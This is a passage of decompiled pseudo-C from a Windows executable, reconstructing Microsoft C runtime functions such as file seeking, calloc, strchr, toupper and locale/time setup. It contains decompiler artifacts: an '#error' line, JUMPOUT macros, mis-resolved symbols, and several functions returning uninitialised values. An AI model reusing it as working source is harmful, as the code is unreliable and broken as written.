fd = str->_file; if ( str->_cnt < 0 ) str->_cnt = 0; v3 = _lseeki64(v2, 0i64, 1); v4 = v3; filepos = v3; if ( SHIDWORD(v3) <= 0 && SHIDWORD(v3) < 0 ) return -1i64; if ( !(str->_flag & 0x108) ) return v3 - str->_cnt; v6 = str->_ptr; v7 = str->_base; offset = (char *)(str->_ptr - v7); v8 = str->_flag; if ( v8 & 3 ) { if ( *(_BYTE *)(__pioinfo[v2 >> 5] + 36 * (v2 & 0x1F) + 4) & 0x80 ) { v9 = str->_base; if ( v7 < v6 ) { do { if ( *v9 == 10 ) ++offset; ++v9; } while ( v9 < str->_ptr ); } } v4 = filepos; goto LABEL_14; } if ( (char)v8 >= 0 ) { *_errno() = 22; return -1i64; } LABEL_14: if ( HIDWORD(filepos) | v4 ) { if ( str->_flag & 1 ) { v10 = str->_cnt; if ( v10 ) { rdcnt = v10 + v6 - v7; v11 = 4 * (v2 >> 5) + 342689216; v12 = 36 * (v2 & 0x1F); if ( *(_BYTE *)(v12 + *(_DWORD *)v11 + 4) & 0x80 ) { if ( _lseeki64(fd, 0i64, 2) == filepos ) { v13 = v1->_base; v14 = (int)&v13[rdcnt]; while ( (unsigned int)v13 < v14 ) { if ( *v13 == 10 ) ++rdcnt; ++v13; } v15 = (BYTE1(v1->_flag) & 0x20) == 0; } else { _lseeki64(fd, filepos, 0); v16 = 512; if ( (unsigned int)rdcnt > 0x200 || (v17 = v1->_flag, !(v17 & 8)) || BYTE1(v17) & 4 ) v16 = v1->_bufsiz; rdcnt = v16; v15 = (*(_BYTE *)(v12 + *(_DWORD *)v11 + 4) & 4) == 0; } if ( !v15 ) ++rdcnt; } filepos -= (unsigned int)rdcnt; } else { offset = 0; } } result = (__int64)&offset[filepos]; } else { result = (unsigned int)offset; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0058420F) -------------------------------------------------------- __int64 __cdecl _ftelli64(_iobuf *stream) { __int64 result; // qax@1 _lock_file(stream); _ftelli64_lk(stream); _unlock_file(stream); return result; } //----- (00584256) -------------------------------------------------------- int __cdecl _lseek_lk(int fh, int pos, int mthd) { int v3; // eax@1 int result; // eax@2 int v5; // edi@3 unsigned int v6; // eax@4 int v7; // eax@8 v3 = _get_osfhandle(fh); if ( v3 == -1 ) { *_errno() = 9; result = -1; } else { v5 = SetFilePointer((HANDLE)v3, pos, 0, mthd); if ( v5 == -1 ) v6 = GetLastError(); else v6 = 0; if ( v6 ) { _dosmaperr(v6); result = -1; } else { v7 = __pioinfo[fh >> 5] + 36 * (fh & 0x1F) + 4; *(_BYTE *)v7 &= 0xFDu; result = v5; } } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (005842CA) -------------------------------------------------------- int __cdecl _lseek(int fh, int pos, int mthd) { int v3; // esi@2 int result; // eax@6 if ( fh < _nhandle && (v3 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1 ) { _lseek_lk(fh, pos, mthd); } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00584375) -------------------------------------------------------- int __cdecl _fseeki64_lk(_iobuf *str, __int64 offset, int whence) { int v3; // eax@1 int v4; // edi@2 int v5; // eax@7 __int64 v6; // qax@13 v3 = str->_flag; if ( !(v3 & 0x83) || (v4 = whence) != 0 && whence != 1 && whence != 2 ) { *_errno() = 22; } else { str->_flag = v3 & 0xFFFFFFEF; if ( whence == 1 ) { offset += _ftelli64_lk(str); v4 = 0; } _flush(str); v5 = str->_flag; if ( (char)v5 >= 0 ) { if ( v5 & 1 && v5 & 8 ) { if ( !(BYTE1(v5) & 4) ) str->_bufsiz = 512; } } else { str->_flag = v5 & 0xFFFFFFFC; } v6 = _lseeki64(str->_file, offset, v4); if ( (HIDWORD(v6) & (unsigned int)v6) != -1 ) return 0; } return -1; } //----- (00584408) -------------------------------------------------------- int __cdecl _fseeki64(_iobuf *stream, __int64 offset, int whence) { int result; // eax@1 _lock_file(stream); _fseeki64_lk(stream, offset, whence); _unlock_file(stream); return result; } //----- (00584454) -------------------------------------------------------- int __cdecl _mbsnbicoll(const char *s1, const char *s2, unsigned int n) { threadmbcinfostruct *v3; // eax@1 int result; // eax@4 int v5; // eax@5 v3 = _getptd()->ptmbcinfo; if ( v3 != ___ptmbcinfo ) v3 = __updatetmbcinfo(); if ( n ) { v5 = __crtCompareStringA(v3->mblcid, 1u, s1, n, s2, n, v3->mbcodepage); if ( v5 ) result = v5 - 2; else result = 2147483647; } else { result = 0; } return result; } //----- (005844A2) -------------------------------------------------------- int __cdecl __wtomb_environ() { wchar_t **v0; // edi@1 wchar_t *v1; // eax@1 int v2; // eax@2 void *v3; // eax@3 int result; // eax@9 int size; // [sp+Ch] [bp-8h]@2 void *envp; // [sp+10h] [bp-4h]@1 v0 = _wenviron; envp = 0; v1 = *_wenviron; if ( *_wenviron ) { while ( 1 ) { v2 = WideCharToMultiByte(0, 0, v1, -1, 0, 0, 0, 0); size = v2; if ( !v2 ) break; v3 = malloc(v2); envp = v3; if ( !v3 ) break; if ( !WideCharToMultiByte(0, 0, *v0, -1, (LPSTR)v3, size, 0, 0) ) { free(envp); break; } if ( __crtsetenv((char **)&envp, 0) < 0 ) { if ( envp ) { free(envp); envp = 0; } } ++v0; v1 = *v0; if ( !*v0 ) goto LABEL_9; } result = -1; } else { LABEL_9: result = 0; } return result; } //----- (00584532) -------------------------------------------------------- void *__cdecl calloc(unsigned int num, unsigned int size) { int v2; // esi@1 void *v3; // edi@3 void *result; // eax@6 int size_orig; // [sp+Ch] [bp-20h]@1 v2 = size * num; size_orig = size * num; if ( !(size * num) ) ++v2; while ( 1 ) { v3 = 0; if ( (unsigned int)v2 <= 0xFFFFFFE0 ) { if ( __active_heap == 3 ) { v2 = (v2 + 15) & 0xFFFFFFF0; if ( size_orig <= (unsigned int)__sbh_threshold ) { _lock(4); __sbh_alloc_block(size_orig); _unlock(4); return result; } } v3 = HeapAlloc(_crtheap, 8u, v2); } if ( v3 || !_newmode ) break; result = (void *)_callnewh(v2); if ( !result ) return result; } return v3; } // 146D0914: using guessed type int __sbh_threshold; // 146D0928: using guessed type int __active_heap; //----- (005845ED) -------------------------------------------------------- _flt *__cdecl _fltin2(_flt *flt, const char *str, int len_ignore, int scale_ignore, int radix_ignore) { int v5; // edi@1 char v6; // bl@1 INTRNCVT_STATUS v7; // eax@3 _flt *result; // eax@9 int v9; // ecx@9 void *EndPtr; // [sp+Ch] [bp-1Ch]@1 DOUBLE x; // [sp+10h] [bp-18h]@2 _LDBL12 ld12; // [sp+18h] [bp-10h]@1 v5 = 0; v6 = __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); if ( v6 & 4 ) { v5 = 512; COERCE_DOUBLE(x.x) = 0i64; } else { v7 = _ld12tod(&ld12, &x); if ( v6 & 2 || v7 == 1 ) v5 = 128; if ( v6 & 1 || v7 == 2 ) v5 |= 0x100u; } result = flt; v9 = EndPtr - str; flt->flags = v5; flt->nbytes = v9; *(_QWORD *)&flt->dval = COERCE_DOUBLE(x.x); return result; } //----- (00584682) -------------------------------------------------------- int __cdecl _validdrive(unsigned int drive) { UINT v1; // eax@2 return !drive || (LOBYTE(drive) = drive + 64, *(_WORD *)((char *)&drive + 1) = 23610, BYTE3(drive) = 0, (v1 = GetDriveTypeA((LPCSTR)&drive)) != 0) && v1 != 1; } //----- (005846B9) -------------------------------------------------------- char *__cdecl _getdcwd_lk(int drive, char *pnbuf, int maxlen) { char v3; // bl@1 DWORD v5; // eax@6 int v6; // eax@9 char *v7; // ecx@10 void *pname; // [sp+4h] [bp-10Ch]@6 char dirbuf[260]; // [sp+8h] [bp-108h]@6 v3 = drive; if ( drive ) { if ( !_validdrive(drive) ) { *__doserrno() = 15; *_errno() = 13; return 0; } LOBYTE(drive) = v3 + 64; *(_WORD *)((char *)&drive + 1) = 11834; BYTE3(drive) = 0; v5 = GetFullPathNameA((LPCSTR)&drive, 0x104u, dirbuf, (LPSTR *)&pname); } else { v5 = GetCurrentDirectoryA(0x104u, dirbuf); } if ( !v5 || (v6 = v5 + 1, (unsigned int)v6 > 0x104) ) return 0; v7 = pnbuf; if ( pnbuf ) { if ( v6 > maxlen ) { *_errno() = 34; return 0; } } else { if ( v6 <= maxlen ) v6 = maxlen; v7 = (char *)malloc(v6); if ( !v7 ) { *_errno() = 12; return 0; } } return strcpy(v7, dirbuf); } //----- (005847A4) -------------------------------------------------------- char *__cdecl _getcwd(char *pnbuf, int maxlen) { char *result; // eax@1 _lock(7); _getdcwd_lk(0, pnbuf, maxlen); _unlock(7); return result; } //----- (005847F0) -------------------------------------------------------- void __cdecl strpbrk(char *string, char *control) { unsigned int v2; // eax@1 char *v3; // edx@1 char *v4; // esi@4 int v5; // [sp+0h] [bp-24h]@1 int v6; // [sp+4h] [bp-20h]@1 int v7; // [sp+8h] [bp-1Ch]@1 int v8; // [sp+Ch] [bp-18h]@1 int v9; // [sp+10h] [bp-14h]@1 int v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+18h] [bp-Ch]@1 int v12; // [sp+1Ch] [bp-8h]@1 v2 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; v6 = 0; v5 = 0; v3 = control; while ( 1 ) { LOBYTE(v2) = *v3; if ( !*v3 ) break; ++v3; _bittestandset((signed __int32 *)&v5, v2); } v4 = string; do { LOBYTE(v2) = *v4; if ( !*v4 ) break; ++v4; } while ( !_bittest((signed __int32 *)&v5, v2) ); } //----- (00584830) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (00584840) -------------------------------------------------------- char *__cdecl strchr(const char *Str, int Val) { const char *v2; // edx@1 char v3; // cl@2 int v4; // ecx@4 int v5; // esi@4 int v6; // eax@4 int v7; // eax@5 char *result; // eax@8 unsigned int v9; // eax@9 unsigned int v10; // eax@13 v2 = Str; if ( (unsigned __int8)Str & 3 ) { while ( 1 ) { v3 = *v2++; JUMPOUT(v3, Val, found_bx); if ( !v3 ) break; if ( !((unsigned __int8)v2 & 3) ) goto main_loop_4; } retnull_bx: result = 0; } else { while ( 1 ) { main_loop_4: while ( 1 ) { v4 = (((unsigned __int8)Val << 8) | (unsigned __int8)Val | ((((unsigned __int8)Val << 8) | (unsigned __int8)Val) << 16)) ^ *(_DWORD *)v2; v5 = *(_DWORD *)v2 + 2130640639; v6 = (*(_DWORD *)v2 + 2130640639) ^ ~*(_DWORD *)v2; v2 += 4; if ( ((v4 + 2130640639) ^ ~v4) & 0x81010100 ) break; v7 = v6 & 0x81010100; if ( v7 && ((unsigned int)&wholesaver.ws_savestore[105].esc_abstate.buffer[18184] & v7 || !(v5 & 0x80000000)) ) goto retnull_bx; } v9 = *((_DWORD *)v2 - 1); if ( (_BYTE)v9 == (_BYTE)Val ) break; if ( !(_BYTE)v9 ) goto retnull_bx; if ( BYTE1(v9) == (_BYTE)Val ) return (char *)(v2 - 3); if ( !BYTE1(v9) ) goto retnull_bx; v10 = v9 >> 16; if ( (_BYTE)v10 == (_BYTE)Val ) return (char *)(v2 - 2); if ( !(_BYTE)v10 ) goto retnull_bx; if ( BYTE1(v10) == (_BYTE)Val ) return (char *)(v2 - 1); if ( !BYTE1(v10) ) goto retnull_bx; } result = (char *)(v2 - 4); } return result; } // 584830: using guessed type int found_bx(); //----- (005848FE) -------------------------------------------------------- int __cdecl __crtGetStringTypeA(unsigned int dwInfoType, const char *lpSrcStr, int cchSrc, unsigned __int16 *lpCharType, int code_page, int lcid, int bError) { void *v7; // esi@1 int v8; // edi@11 void *v9; // esp@12 void *v10; // esi@12 int v11; // eax@15 int v13; // ebx@20 UINT v14; // edi@22 int v15; // eax@24 char *v16; // eax@27 int v17; // edi@29 int v18; // [sp+0h] [bp-38h]@12 int *wbuffer; // [sp+Ch] [bp-2Ch]@12 int buff_size; // [sp+10h] [bp-28h]@11 int retval2; // [sp+14h] [bp-24h]@9 int malloc_flag; // [sp+18h] [bp-20h]@9 __int16 dummy; // [sp+1Ch] [bp-1Ch]@2 CPPEH_RECORD ms_exc; // [sp+20h] [bp-18h]@12 v7 = 0; if ( !f_use_1 ) { if ( GetStringTypeW(1u, &String1, 1, (LPWORD)&dummy) ) { f_use_1 = 1; } else { if ( GetLastError() == 120 ) f_use_1 = 2; } } if ( f_use_1 != 2 && f_use_1 ) { if ( f_use_1 == 1 ) { retval2 = 0; malloc_flag = 0; if ( !code_page ) code_page = __lc_codepage; v8 = MultiByteToWideChar(code_page, 8 * (bError != 0) + 1, lpSrcStr, cchSrc, 0, 0); buff_size = v8; if ( v8 ) { ms_exc.disabled = 0; v9 = alloca(2 * v8); ms_exc.old_esp = (DWORD)&v18; v10 = &v18; wbuffer = &v18; memset(&v18, 0, 2 * v8); ms_exc.disabled = -1; if ( &v18 ) { LABEL_15: v11 = MultiByteToWideChar(code_page, 1u, lpSrcStr, cchSrc, (LPWSTR)v10, v8); if ( v11 ) retval2 = GetStringTypeW(dwInfoType, (LPCWSTR)v10, v11, lpCharType); if ( malloc_flag ) free(v10); return retval2; } v10 = calloc(2u, v8); if ( v10 ) { malloc_flag = 1; goto LABEL_15; } } } return 0; } v13 = lcid; if ( !lcid ) v13 = ::lcid; v14 = code_page; if ( !code_page ) v14 = __lc_codepage; v15 = __ansicp(v13); if ( v15 == -1 ) return 0; if ( v15 != v14 ) { v16 = __convertcp(v14, v15, lpSrcStr, &cchSrc, 0, 0); v7 = v16; if ( !v16 ) return 0; lpSrcStr = v16; } v17 = GetStringTypeA(v13, dwInfoType, lpSrcStr, cchSrc, lpCharType); if ( v7 ) free(v7); return v17; } //----- (00584AB8) -------------------------------------------------------- int __cdecl __toupper_mt(threadlocaleinfostruct *ptloci, int c) { int v2; // ebx@1 threadlocaleinfostruct *v3; // esi@1 int v4; // eax@6 int v5; // eax@9 int v6; // eax@10 int v7; // eax@12 int result; // eax@14 int v9; // eax@15 char outbuffer[3]; // [sp+8h] [bp-4h]@12 v2 = c; v3 = ptloci; if ( ptloci->lc_handle[2] && (!ptloci->lc_clike || (unsigned int)c > 0x7F) ) { if ( (unsigned int)c >= 0x100 || (ptloci->mb_cur_max <= 1 ? (v4 = ptloci->pctype[c] & 2) : (v4 = __isctype_mt(ptloci, c, 2)), v4) ) { v5 = v2 >> 8; if ( HIBYTE(v3->pctype[BYTE1(v2)]) & 0x80 ) { LOBYTE(ptloci) = v5; *(_WORD *)((char *)&ptloci + 1) = (unsigned __int8)v2; v6 = 2; } else { LOWORD(ptloci) = (unsigned __int8)v2; v6 = 1; } v7 = __crtLCMapStringA(v3->lc_handle[2], 0x200u, (const char *)&ptloci, v6, outbuffer, 3, v3->lc_codepage, 1); if ( v7 ) { if ( v7 == 1 ) { result = (unsigned __int8)outbuffer[0]; } else { v9 = 0; BYTE1(v9) = outbuffer[0]; result = (unsigned __int8)outbuffer[1] | v9; } return result; } } return v2; } if ( c < 97 || (result = c - 32, c > 122) ) return v2; return result; } //----- (00584B81) -------------------------------------------------------- int __cdecl toupper(int c) { threadlocaleinfostruct *v1; // eax@1 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); return __toupper_mt(v1, c); } //----- (00584C50) -------------------------------------------------------- void *__cdecl memset(void *Dst, int Val, size_t Size) { size_t v3; // edx@1 int v4; // eax@2 void *v5; // edi@2 int v6; // ecx@3 unsigned int v7; // ecx@6 unsigned int v8; // ecx@6 void *result; // eax@9 v3 = Size; if ( Size ) { LOBYTE(v4) = Val; v5 = Dst; if ( Size < 4 ) goto LABEL_13; v6 = -(signed int)Dst & 3; if ( v6 ) { v3 = Size - v6; do { *(_BYTE *)v5 = Val; v5 = (char *)v5 + 1; --v6; } while ( v6 ); } v4 = 16843009 * (unsigned __int8)Val; v7 = v3; v3 &= 3u; v8 = v7 >> 2; if ( !v8 || (memset32(v5, v4, v8), v5 = (char *)v5 + 4 * v8, v3) ) { LABEL_13: do { *(_BYTE *)v5 = v4; v5 = (char *)v5 + 1; --v3; } while ( v3 ); } result = Dst; } else { result = Dst; } return result; } //----- (00584CB0) -------------------------------------------------------- int __cdecl __ansicp(int lcid) { int result; // eax@2 char nptr; // [sp+0h] [bp-Ch]@1 char v3; // [sp+6h] [bp-6h]@1 v3 = 0; if ( GetLocaleInfoA(lcid, 0x1004u, &nptr, 6) ) result = atol(&nptr); else result = -1; return result; } //----- (00584CF3) -------------------------------------------------------- char *__cdecl __convertcp(int fromCP, int toCP, const char *lpSrcStr, int *pcchSrc, char *lpDestStr, int cchDest) { int v6; // ebx@1 int v7; // esi@9 void *v8; // esp@15 void *v9; // ebx@15 void *v11; // eax@25 int v12; // eax@26 int v13; // [sp+0h] [bp-54h]@15 void *wbuffer; // [sp+Ch] [bp-48h]@15 int malloc_flag; // [sp+10h] [bp-44h]@1 int cchSrc; // [sp+14h] [bp-40h]@1 int sb; // [sp+18h] [bp-3Ch]@1 int buff_size; // [sp+1Ch] [bp-38h]@11 void *cbuffer; // [sp+20h] [bp-34h]@1 _cpinfo cpi; // [sp+24h] [bp-30h]@2 CPPEH_RECORD ms_exc; // [sp+3Ch] [bp-18h]@15 cbuffer = 0; malloc_flag = 0; v6 = *pcchSrc; cchSrc = *pcchSrc; sb = 0; if ( fromCP == toCP ) { v9 = wbuffer; } else { if ( GetCPInfo(fromCP, &cpi) && cpi.MaxCharSize == 1 && GetCPInfo(toCP, &cpi) && cpi.MaxCharSize == 1 ) sb = 1; if ( sb ) { if ( v6 == -1 ) v7 = strlen(lpSrcStr) + 1; else v7 = v6; buff_size = v7; } else { v7 = buff_size; } if ( !sb ) { v7 = MultiByteToWideChar(fromCP, 1u, lpSrcStr, v6, 0, 0); buff_size = v7; if ( !v7 ) return 0; } ms_exc.disabled = 0; v8 = alloca(2 * v7); ms_exc.old_esp = (DWORD)&v13; v9 = &v13; wbuffer = &v13; memset(&v13, 0, 2 * v7); ms_exc.disabled = -1; if ( !&v13 ) { v9 = calloc(2u, v7); if ( !v9 ) return 0; malloc_flag = 1; } if ( MultiByteToWideChar(fromCP, 1u, lpSrcStr, cchSrc, (LPWSTR)v9, v7) ) { if ( lpDestStr ) { if ( WideCharToMultiByte(toCP, 0, (LPCWSTR)v9, v7, lpDestStr, cchDest, 0, 0) ) cbuffer = lpDestStr; } else { if ( sb || (v7 = WideCharToMultiByte(toCP, 0, (LPCWSTR)v9, v7, 0, 0, 0, 0)) != 0 ) { v11 = calloc(1u, v7); cbuffer = v11; if ( v11 ) { v12 = WideCharToMultiByte(toCP, 0, (LPCWSTR)v9, v7, (LPSTR)v11, v7, 0, 0); if ( v12 ) { if ( cchSrc != -1 ) *pcchSrc = v12; } else { free(cbuffer); cbuffer = 0; } } } } } } if ( malloc_flag ) free(v9); return (char *)cbuffer; } //----- (00584EBC) -------------------------------------------------------- int __cdecl __getlocaleinfo(int lc_type, unsigned int localehandle, unsigned int fieldtype, void *address) { const char *v4; // edi@2 int v5; // esi@2 int v6; // eax@4 int v7; // esi@4 void *v8; // eax@5 void *v9; // eax@7 int *v11; // edi@15 char v12; // bl@17 char cbuffer[128]; // [sp+Ch] [bp-84h]@2 signed int bufferused; // [sp+98h] [bp+8h]@2 if ( lc_type == 1 ) { v4 = cbuffer; bufferused = 0; v5 = __crtGetLocaleInfoA(localehandle, fieldtype, cbuffer, 128, 0); if ( v5 ) { LABEL_7: v9 = malloc(v5); *(_DWORD *)address = v9; if ( !v9 ) JUMPOUT(error); strncpy((char *)v9, v4, v5); if ( bufferused ) free((void *)v4); return 0; } if ( GetLastError() == 122 ) { v6 = __crtGetLocaleInfoA(localehandle, fieldtype, 0, 0, 0); v7 = v6; if ( v6 ) { v8 = malloc(v6); v4 = (const char *)v8; if ( v8 ) { bufferused = 1; v5 = __crtGetLocaleInfoA(localehandle, fieldtype, (char *)v8, v7, 0); if ( v5 ) goto LABEL_7; free((void *)v4); } } } return -1; } if ( lc_type || (v11 = (int *)wcbuffer, !__crtGetLocaleInfoW(localehandle, fieldtype, wcbuffer, 4, 0)) ) return -1; *(_BYTE *)address = 0; do { v12 = *(_BYTE *)v11; if ( !isdigit(*(_BYTE *)v11) ) break; v11 = (int *)((char *)v11 + 2); *(_BYTE *)address = v12 + 10 * *(_BYTE *)address - 48; } while ( (signed int)v11 < (signed int)__lc_id ); return 0; } //----- (00584FE3) -------------------------------------------------------- int __stdcall _crtInitCritSecNoSpinCount(_RTL_CRITICAL_SECTION *lpCriticalSection, unsigned int dwSpinCount) { InitializeCriticalSection(lpCriticalSection); return 1; } //----- (00584FF3) -------------------------------------------------------- int __cdecl __crtInitCritSecAndSpinCount(_RTL_CRITICAL_SECTION *lpCriticalSection, unsigned int dwSpinCount) { void *v2; // eax@1 HINSTANCE__ *v3; // eax@3 v2 = _crtInitCritSecAndSpinCount; if ( !_crtInitCritSecAndSpinCount ) { if ( _osplatform == 1 || (v3 = GetModuleHandleA("kernel32.dll")) == 0 || (v2 = GetProcAddress(v3, "InitializeCriticalSectionAndSpinCount"), (_crtInitCritSecAndSpinCount = (int (__stdcall *)(_RTL_CRITICAL_SECTION *, unsigned int))v2) == 0) ) { v2 = _crtInitCritSecNoSpinCount; _crtInitCritSecAndSpinCount = _crtInitCritSecNoSpinCount; } } return ((int (__stdcall *)(_DWORD, _DWORD))v2)(lpCriticalSection, dwSpinCount); } // 146D00AC: using guessed type int _osplatform; //----- (0058507E) -------------------------------------------------------- int __usercall get_lc_time(__lc_time_data *lc_time) { int result; // eax@2 int v2; // edi@3 int v3; // edi@3 int v4; // edi@3 int v5; // edi@3 int v6; // edi@3 int v7; // edi@3 int v8; // edi@3 int v9; // edi@3 int v10; // edi@3 int v11; // edi@3 int v12; // edi@3 int v13; // edi@3 int v14; // edi@3 int v15; // edi@3 int v16; // edi@3 int v17; // edi@3 int v18; // edi@3 int v19; // edi@3 int v20; // edi@3 int v21; // edi@3 int v22; // edi@3 int v23; // edi@3 int v24; // edi@3 int v25; // edi@3 int v26; // edi@3 int v27; // edi@3 int v28; // edi@3 int v29; // edi@3 int v30; // edi@3 int v31; // edi@3 int v32; // edi@3 int v33; // edi@3 int v34; // edi@3 int v35; // edi@3 int v36; // edi@3 int v37; // edi@3 int v38; // edi@3 int v39; // edi@3 int v40; // edi@3 int v41; // edi@3 int v42; // edi@3 int v43; // edi@3 int v44; // edi@3 int v45; // eax@3 unsigned int ctryid; // [sp+0h] [bp-8h]@1 unsigned int langid; // [sp+4h] [bp-4h]@1 langid = (unsigned __int16)word_146D053E; ctryid = (unsigned __int16)word_146D0540; if ( lc_time ) { v2 = __getlocaleinfo(1, (unsigned __int16)word_146D053E, 0x31u, &lc_time->wday_abbr[1]); v3 = __getlocaleinfo(1, langid, 0x32u, &lc_time->wday_abbr[2]) | v2; v4 = __getlocaleinfo(1, langid, 0x33u, &lc_time->wday_abbr[3]) | v3; v5 = __getlocaleinfo(1, langid, 0x34u, &lc_time->wday_abbr[4]) | v4; v6 = __getlocaleinfo(1, langid, 0x35u, &lc_time->wday_abbr[5]) | v5; v7 = __getlocaleinfo(1, langid, 0x36u, &lc_time->wday_abbr[6]) | v6; v8 = __getlocaleinfo(1, langid, 0x37u, lc_time) | v7; v9 = __getlocaleinfo(1, langid, 0x2Au, &lc_time->wday[1]) | v8; v10 = __getlocaleinfo(1, langid, 0x2Bu, &lc_time->wday[2]) | v9; v11 = __getlocaleinfo(1, langid, 0x2Cu, &lc_time->wday[3]) | v10; v12 = __getlocaleinfo(1, langid, 0x2Du, &lc_time->wday[4]) | v11; v13 = __getlocaleinfo(1, langid, 0x2Eu, &lc_time->wday[5]) | v12; v14 = __getlocaleinfo(1, langid, 0x2Fu, &lc_time->wday[6]) | v13; v15 = __getlocaleinfo(1, langid, 0x30u, lc_time->wday) | v14; v16 = __getlocaleinfo(1, langid, 0x44u, lc_time->month_abbr) | v15; v17 = __getlocaleinfo(1, langid, 0x45u, &lc_time->month_abbr[1]) | v16; v18 = __getlocaleinfo(1, langid, 0x46u, &lc_time->month_abbr[2]) | v17; v19 = __getlocaleinfo(1, langid, 0x47u, &lc_time->month_abbr[3]) | v18; v20 = __getlocaleinfo(1, langid, 0x48u, &lc_time->month_abbr[4]) | v19; v21 = __getlocaleinfo(1, langid, 0x49u, &lc_time->month_abbr[5]) | v20; v22 = __getlocaleinfo(1, langid, 0x4Au, &lc_time->month_abbr[6]) | v21; v23 = __getlocaleinfo(1, langid, 0x4Bu, &lc_time->month_abbr[7]) | v22; v24 = __getlocaleinfo(1, langid, 0x4Cu, &lc_time->month_abbr[8]) | v23; v25 = __getlocaleinfo(1, langid, 0x4Du, &lc_time->month_abbr[9]) | v24; v26 = __getlocaleinfo(1, langid, 0x4Eu, &lc_time->month_abbr[10]) | v25; v27 = __getlocaleinfo(1, langid, 0x4Fu, &lc_time->month_abbr[11]) | v26; v28 = __getlocaleinfo(1, langid, 0x38u, lc_time->month) | v27; v29 = __getlocaleinfo(1, langid, 0x39u, &lc_time->month[1]) | v28; v30 = __getlocaleinfo(1, langid, 0x3Au, &lc_time->month[2]) | v29; v31 = __getlocaleinfo(1, langid, 0x3Bu, &lc_time->month[3]) | v30; v32 = __getlocaleinfo(1, langid, 0x3Cu, &lc_time->month[4]) | v31; v33 = __getlocaleinfo(1, langid, 0x3Du, &lc_time->month[5]) | v32; v34 = __getlocaleinfo(1, langid, 0x3Eu, &lc_time->month[6]) | v33; v35 = __getlocaleinfo(1, langid, 0x3Fu, &lc_time->month[7]) | v34; v36 = __getlocaleinfo(1, langid, 0x40u, &lc_time->month[8]) | v35; v37 = __getlocaleinfo(1, langid, 0x41u, &lc_time->month[9]) | v36; v38 = __getlocaleinfo(1, langid, 0x42u, &lc_time->month[10]) | v37; v39 = __getlocaleinfo(1, langid, 0x43u, &lc_time->month[11]) | v38; v40 = __getlocaleinfo(1, langid, 0x28u, lc_time->ampm) | v39; v41 = __getlocaleinfo(1, langid, 0x29u, &lc_time->ampm[1]) | v40; v42 = __getlocaleinfo(1, ctryid, 0x1Fu, &lc_time->ww_sdatefmt) | v41; v43 = __getlocaleinfo(1, ctryid, 0x20u, &lc_time->ww_ldatefmt) | v42; v44 = __getlocaleinfo(1, ctryid, 0x1003u, &lc_time->ww_timefmt) | v43; v45 = __getlocaleinfo(0, ctryid, 0x1009u, &lc_time->ww_caltype); lc_time->ww_lcid = ctryid; result = v45 | v44; } else { result = -1; } return result; } // 146D053E: using guessed type __int16 word_146D053E; // 146D0540: using guessed type __int16 word_146D0540; //----- (005853E5) -------------------------------------------------------- void __cdecl __free_lc_time(__lc_time_data *lc_time) { if ( lc_time ) { free(lc_time->wday_abbr[1]); free(lc_time->wday_abbr[2]); free(lc_time->wday_abbr[3]); free(lc_time->wday_abbr[4]); free(lc_time->wday_abbr[5]); free(lc_time->wday_abbr[6]); free(lc_time->wday_abbr[0]); free(lc_time->wday[1]); free(lc_time->wday[2]); free(lc_time->wday[3]); free(lc_time->wday[4]); free(lc_time->wday[5]); free(lc_time->wday[6]); free(lc_time->wday[0]); free(lc_time->month_abbr[0]); free(lc_time->month_abbr[1]); free(lc_time->month_abbr[2]); free(lc_time->month_abbr[3]); free(lc_time->month_abbr[4]); free(lc_time->month_abbr[5]); free(lc_time->month_abbr[6]); free(lc_time->month_abbr[7]); free(lc_time->month_abbr[8]); free(lc_time->month_abbr[9]); free(lc_time->month_abbr[10]); free(lc_time->month_abbr[11]); free(lc_time->month[0]); free(lc_time->month[1]); free(lc_time->month[2]); free(lc_time->month[3]); free(lc_time->month[4]); free(lc_time->month[5]); free(lc_time->month[6]); free(lc_time->month[7]); free(lc_time->month[8]); free(lc_time->month[9]); free(lc_time->month[10]); free(lc_time->month[11]); free(lc_time->ampm[0]); free(lc_time->ampm[1]); free(lc_time->ww_sdatefmt); free(lc_time->ww_ldatefmt); free(lc_time->ww_timefmt); } } //----- (00585575) -------------------------------------------------------- int __cdecl __init_time() { void *v0; // esi@2 if ( dword_146D050C ) { v0 = calloc(1u, 0xB8u); if ( !v0 ) return 1; if ( get_lc_time((__lc_time_data *)v0) ) { __free_lc_time((__lc_time_data *)v0); free(v0); return 1; } __lc_time_curr = (char *(*)[43])v0; __lc_time_intl = (int)v0; } else { __lc_time_intl = 0; __lc_time_curr = (char *(*)[43])__lc_time_c; } return 0; } // 6118F0: using guessed type char *(*__lc_time_curr)[43]; // 6118F8: using guessed type char *__lc_time_c[43]; // 146D050C: using guessed type int dword_146D050C; // 146D0548: using guessed type int __lc_time_intl; //----- (005855D4) -------------------------------------------------------- void __cdecl __free_lconv_num(lconv *l) { char *v1; // eax@5 void *v2; // esi@8 if ( l ) { if ( l->decimal_point != *__lconv && l->decimal_point != __lconv_c ) free(l->decimal_point); v1 = l->thousands_sep; if ( v1 != __lconv[1] && v1 != off_610D58 ) free(l->thousands_sep); v2 = l->grouping; if ( v2 != __lconv[2] ) { if ( v2 != off_610D5C ) free(v2); } } } // 610D54: using guessed type char *__lconv_c; // 610D58: using guessed type void *off_610D58; // 610D5C: using guessed type void *off_610D5C; // 610D84: using guessed type char **__lconv; //----- (00585633) -------------------------------------------------------- int __cdecl __init_numeric() { void *v0; // ebx@7 void *v1; // eax@9 void *v3; // eax@13 int v4; // esi@14 unsigned int v5; // esi@15 int v6; // ST40_4@15 int v7; // ST40_4@15 int v8; // eax@18 char v9; // cl@19 int v10; // esi@26 void *lc_refcount; // [sp+Ch] [bp-8h]@9 if ( dword_146D0508 || dword_146D0504 ) { v0 = calloc(1u, 0x30u); if ( !v0 ) return 1; 